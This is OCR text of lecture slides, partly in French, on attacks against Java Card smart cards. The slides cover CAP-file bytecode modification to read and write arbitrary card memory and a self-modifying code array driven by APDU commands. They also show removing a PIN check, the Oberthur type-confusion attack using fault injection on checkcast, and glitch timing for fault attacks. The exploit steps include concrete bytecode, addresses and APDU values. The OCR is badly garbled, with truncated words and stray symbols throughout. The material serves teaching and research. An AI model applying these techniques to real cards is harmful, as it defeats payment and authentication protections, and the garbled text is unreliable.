The address is 0x9235

* We succeed to retrieve our reference in the card memory.
* This should be impossible if a verifier was embedded



Sketch of the attack in three steps

* In order to do it in an optimized way we need mutable code,

1) - To perform mutable code we need to manipulate arrays, and
get their physical address. DONE
- To access the array as a method we need to acc QWn

e \
instance
* In the step 1 we have learn how to get the a% array

In this step we will replace a method invo method
invocation with our array address

* We will be able to execute arbitrar that can be
dynamically modified

Q

A

What @t atstep 27?

An instance referench \\7(Q
2 0x923
(({ 0x9235 O \4 header
A pointer on the Eepi NM @ class @ m1
Instance data . @ m2
Instance data @ m3
@ m4
header
Sec. context header
Static variable e
@ Meth. table
Step 2’ retrieve this address




Step 2b...

e Until now we just modified the CAP file, in order to modify
value on top of the stack.

e The address of the class reference is not on the st

e We need to be able to read & write at an arbitra ess,

@
\QQ

2b...

 Now use the getstatic flaw.

static short ad,;
A Vous de trouver les modifications a faire

public short getAddress() dans le byte code ... ou pas ... cf next slide

{

return ad:

}

public void process pdu) throws ISOException

case (byte) 28:. /I read the content of the memory
short val = getAddress();
Util.setShort(apdu.getBuffer(),(short)0,(short)val)
apdu.setOutgoingAndSend( (short) 0O, (short) 2);
break;



CAP modification is not enough

public short getAddress()

{
/Il flags: O
/[ max_stack : 1
/[ nargs: 0
/[ max_locals: 0
7D 00 02 getstatic_s 2
78 sreturn
}

Original

Directory Component

public short getAddress()
{

/D 92 35
78

}

&

Component_sizes ={...
referencelLocation: 41

Y

9"

\—“> Lists the size of each of the

components defined in
this Cap File

Method Component

AN

Method_info[1]//@000C{
/fflags: O

/Imax stack:1

/Inargs: 1

/Imax locals:0

/*000e*/ getstati 0)
/¥0011*/ sreturn
}

\a

)

Describes each of the
methods declared in this
package.

Contains an entry for each
classes, methods, and

Constant Pool ponent

fields referenced by

* 0008, 2 */ CONSTANT _StaticFieldRef :

0x0000

—/ elements in the Method
Component of this Cap File

Represents lists of offsets into

Reference Location Component

4> the info item of the Method

Offset_to byte2 indices = {@000f...}

Component to operands that
contain indices into the
constant pool array of the
Constant Pool Component.




Constant Pool Component

/* 0008, 2 */ CONSTANT _StaticFieldRef :
0x0000

Method Component

Method_info[1]//@000C{
/lflags: O

/Imax stack:1

/Inargs: 1

/Imax locals:0

/*000e*/ getstatic_s 00 02
/*0011*/ sreturn

}

Reference Location Component

Offset_to_byte2 indices = {@000f...}

Constant Pool Component O

\/
/* 0008, 2 */ CONSTANT_StaticFi
0x0000

Method Component

NS
Method_info[1]//@000C{ \

/fflags: O @
/Imax stack:1

/Inargs: 1 /
/Imax locals:0

/*000e*/ getstati
/¥0011*/ sreturn&
} \

O

Reference LocatiQn Component
\Q;}

Offset_to_byte2_indices = {@O

On Board Method

G
&

On Board Method

@9af4
Method_info[1]{

01

10

getstatic_s 0x880
sreturn




Reference Location modification

Directory Component
Component_sizes = {... referenceLocation: 00 2A ...} ...

Reference Location Component

Size 00 2A

Size of the 2 byte subsection 00 1F
Offset_to byte2 indices = {@000f, @002C,..., @01l1af}

Modified by

Directory Component
Component_sizes = {... referenceLocation: 00 9 ..}..

Reference Location Component
Size 00 29

Size of the 2 byte subsection 00
Offset_to_byte2 indices = {@

Constant Pool Component O

/* 0008, 2 */ CONSTANT _StaticFi
0x0000

Method Component \k“

Method_info[1]//@000C{ \7

Ifflags: O On Board Method
/Imax stack:1

/Inargs: 1

//max locals:0 ﬁﬂ@gﬁf“d o
[*000e*/ getstati 92 35 //address of Olet od_info[1{
[*0011%*/ sreturn& /lthe instance 10

} — getstatic_s 0x9235
Reference LocatiQn, Component sreturn

%
Offset_to byte2 indices = {@ 002c ...}




Usage

Value at address 0x9235?
80 28 00 00 00

9ASE 9000

-< V
The class address is0

* We succeed to read any address i rd memory.

* This should be impossible ifa v s embedded

What \%t at step 2b ?

An instance reference §® .
@ 0x9235

2)\ \) header
A pointer on the Eepmm% (@ class @ ml
y

Instance data - @ m?2
Instance data @ m3
@ m4
header
Sec. context header
Static variable

(@ Meth. table /

invoke @c342 //m4




Write anywhere

e Same approach with putstatic

- For instance to replace invoke @0xC342 by invok

@0x944C
Sketch of t ck in three steps

* In order to do it in_aK mized way we need mutable code,

- To acceg¢tHp array as a method we need to access our own
insta

1 we have learn how to get the address of an array

4 3 * We will be able to execute arbitrary code that can be
dynamically modified



What remains to do ?

An instance reference

(@ 0x944C CodeDump

@ 0x9235 -
A pointer on the Eprom heap @ class <@}rﬂ

Instance data ) A\%&Gbs

Instance data \%Z / Q)m’%
Cox
N
header o <O
Sec. context header

Static variable

@175
(@ Meth. table |A
NG

invoke @944 Q\KM)!DMY) Array

AN
\

e array

* Array code:

public byte[] codeDump
(byte)Ox7D, (byte)0Ox00,

yte )ox01, (byte)0x00,
)OxOO (byte)0x78};

* Logical vi

Il
Il m ck: 1
/Il nargs? O

/l max_locals: O
getstatic_s 0000
sreturn



Address initialization

public void process (APDU apdu) throws ISOException
{

EE.J.SG (byte) 0x30:  //'init address in the array

short NbOctets = apdu.setincomingAndReceive();

if (NbOctets != (short)2 )

{ISOException.throwlt((short)0x6700); }

//Change high address @

codeDump|3] = apduBuffer[ISO7816.O0FFSET_CDATA];

//IChange low address
codeDumpl[4] = apduBuffer[ISO7816.0FFSETCDATA+1%
break;

ge
tialize address
p 00 00 02 83 00

90 00 e
B ol

Read & increment address
80 31 00 00 00

.
-
< 5512 90 00
Did I found the pattern ? Write value
Yes modifies the value 80 32 00 00 00
s
-

90 00



Yes card revisited

* Remove the exception,

e Whatever the firewall do checks...

public void debit (APDU apdu)

{

if (\pin.isValidated())

{

ISOException.throwlt(SW_AUTHENTIFICA

.. /l[do something safely

ED);

Byte code: ... 11 69 85 8D xx XX ... \ 000000000000..

Evalu@of the attack
JC I\E; I Read

Ref Write Area

a-2la 211 (:\91 MNEE X 8000-FFFF
a-21b \@1 X X 8000-FFFF
a-22a {w X - 8000-FFFF
a-22b <W201 X 8000-FFFF
b-21a \%J) 212 X X 8000-BFFF
b-22a 1 ]201 X X 8000-BFFF
b-22b 211|211 X X 8000-FFEF
c-22a 211 201 Seven bytes
c-22b 22 211




The Oberthur attack: Principle

* The Oberthur attack is based on type confusion,

* The appletloaded in the card is correct i.e. cannot be rejected
by a byte code verifier,

* The idea is to bypass the run time check made i ade
impose a type conversion,

* Inject the energy during the check,
- Itis a transient fault,
- The result can be the dump of the meg .

Java conversion
* Java imposes a typ y:
Object
T3 T1

T2




Java Type conversion

* Java imposes a type hierarchy:
* Polymorphism allows type conversion checked at run time

T2 t2; aload t2
T1t1l=(T1) t2; P checkcast T

astore t1 gg

AQ\
\ T2

Object

Java conversion

* Java imposes a typ y:
e Polymorphism pe conversion checked at run time

T2 12; aload t2

T1t1l = (T1)y2; G checkcast T1

astore t1
g % Object
T3 T1

T2




Java Type conversion

* Java imposes a type hierarchy:

* Polymorphism allows type conversion checked at run time

T2 t2; aload t2
T3 13 =(T3) t2; T checkcast T3
astore t1
Object %
&S
3 &N

ClassCastException T2

The@ving class

* Define the class 2

O6rie field of type short,
public class A {sho l@iz =

= OxO0FF;}
 Intheap 1gm defines instances,
Aa=ne
byte[] b = yte[10]: b[0] = 1: b[1]=2:...

a = (A) ((Object)b): // a & b point on the same obj
a.theSize = OxFFFF; // increases the size of the []

/l read and write your array...

ect



The Hazardous Type Confusion

e Confusion between a and b (header compatible)

a
HEADER
Object seen OXOOFE HEADER
as a A instance
) 0x01

The

 Confusion betwe

Haza

asaB
0x02 %
0x03 @
0x04 %

N 0\

Object s

)

/

\\

Type Confusion

(incompatible)

public class rt theSize = OXO0OFF;}
public clags B = null;}
Warni irewall will play its role!

/\%‘

- b
HEADER HEADER

Object seen O0X00FF | 0x0000 Object seen

as a A instance as a B instance
AN




All what you need is... type confusion

e To force the type confusion

aload b
Aa=(A)b; G ngocrlc(eCZSt A

 The BCV can check the appletitisa /

e During runtime the checkcast j tion will generate an

exception CIassCastException\
Power anal%f the checkcast

v

1O Line SW: 6F 00

| Power Consumption Signal




Power analysis of the checkcast

0

; I/0 Line

SW: 6F 00

( >

& inl/” "\‘

_Ill ,1‘, | “ q”“tllllﬂl»
w|‘ Hw M v Hld i

r ;

¥ AsstastException .
Mdying '

Ll

t
1
Power Consumption Signal ] /
:L ClassCastException
,| ...... { —_ t.h.ﬂ.)wl.n,g by passed!ﬂ

|

|

I

‘ Lt

1y T ‘: ‘|
LN




Conclusion

Oberthur made the experimentation on their own Java Card
(white box)

Their experimentation was on a JC 3.0 prototype, y

probably run well on JC 2.2.x
No ill-formed code has been loaded, @
But ill-formed code can be executed, %ﬂ
It shows that the presence of BCV is help

combining HW and SW attacks.

\QQ

Low cost cards are nsible to these attacks,

aufdcturers can suffer of these attacks,

students can spend hours on such

A &)

A very chatlenging topic.



Identlﬁcatlo attern et injection

Layers Pattern to observe
A /
Applicative
/A |

- :@A \ |

Hardware
[SOTEI6 interfs R

Time

rival of Departure of
the command APDU the response APDU

Fic. 1 — Trace d'une exécution normale.



Identification de pattern et injection

Layers Pattern to ‘e
t ” /n}‘?
Applicative -y J--l : \<
/ LT 7/ A

> o Xr
——. }/ \ R A \T/ i

Arrival of
the command APDU

Departure of
the response APDU

onnées
Final(clearData, (short) O,
clearData.length, cipherData,
(short) 0) ;
h 2).

// Demande a nouveau un délai supplémentaire (glitc
apdu.waitExtension() ;



Identification de pattern et injection

e Avec le mécanisme classique de communication (en T=0)

public void process ( APDU apdu ) {
byte[ ] buffer = apdu.getBuffer () ;

buffer[0] = (byte) OXFF ;
apdu.setOutgoing( ) ;
apdu.setOutgoingLength((short) 2) ;
// Demande un délai supplémentaire qui envoie des d €
/Il sur la ligne d’l/O (glitch 1).
apdu.sendBytes((short)0, (short)1);
cipherLength = cipher.doFinal(clearData, (short) O,
clearData.length, giph
(short) 0) ;

// Demande a nouveau un délai supplémentaire (glitc h 2).

apdu.sendBytes((short)0, (short)1);
- Q

[dentificatio attern et injection

* Optimisation

aload 1

sconst_0

sconst_1

getfield_a_this 0x0

getfield_a_this 0x1

sconst 0

getfield_a_this Ox1

arraylength

getfield_a_this 0x

sconst_0O

aload 1

sconst_0

sconst_1

invokevirtual 0x0 0x6 // glitchl (le glitch est ree llement envoye ici)
invokevirtual 0x0 Oxa // motif & observer (le chiff rement est réellement fait ici)
sstore_2

invokevirtual 0x0 0x6 // glitch2 (le glitch est ree llement envoye ici)

Impose de nombreuses modifications du fichier CAP.



Identification de pattern et injection

* Siles mécanismes d'I/O sont bloqués, il est possible de se
synchroniser avec d'autres phénomenes observables (par
exemple un algo de chiffrement qui consomme beagdeoup)
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Identification de pattern et injection

* Avec répétition et glitches
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